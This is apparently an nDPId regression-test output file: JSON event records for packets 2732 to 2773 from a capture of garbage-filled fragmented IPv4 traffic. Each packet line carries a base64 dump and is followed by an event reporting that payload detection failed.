+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132135,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132147,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132171,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132211,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132275,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132315,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132362,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132400,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132412,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 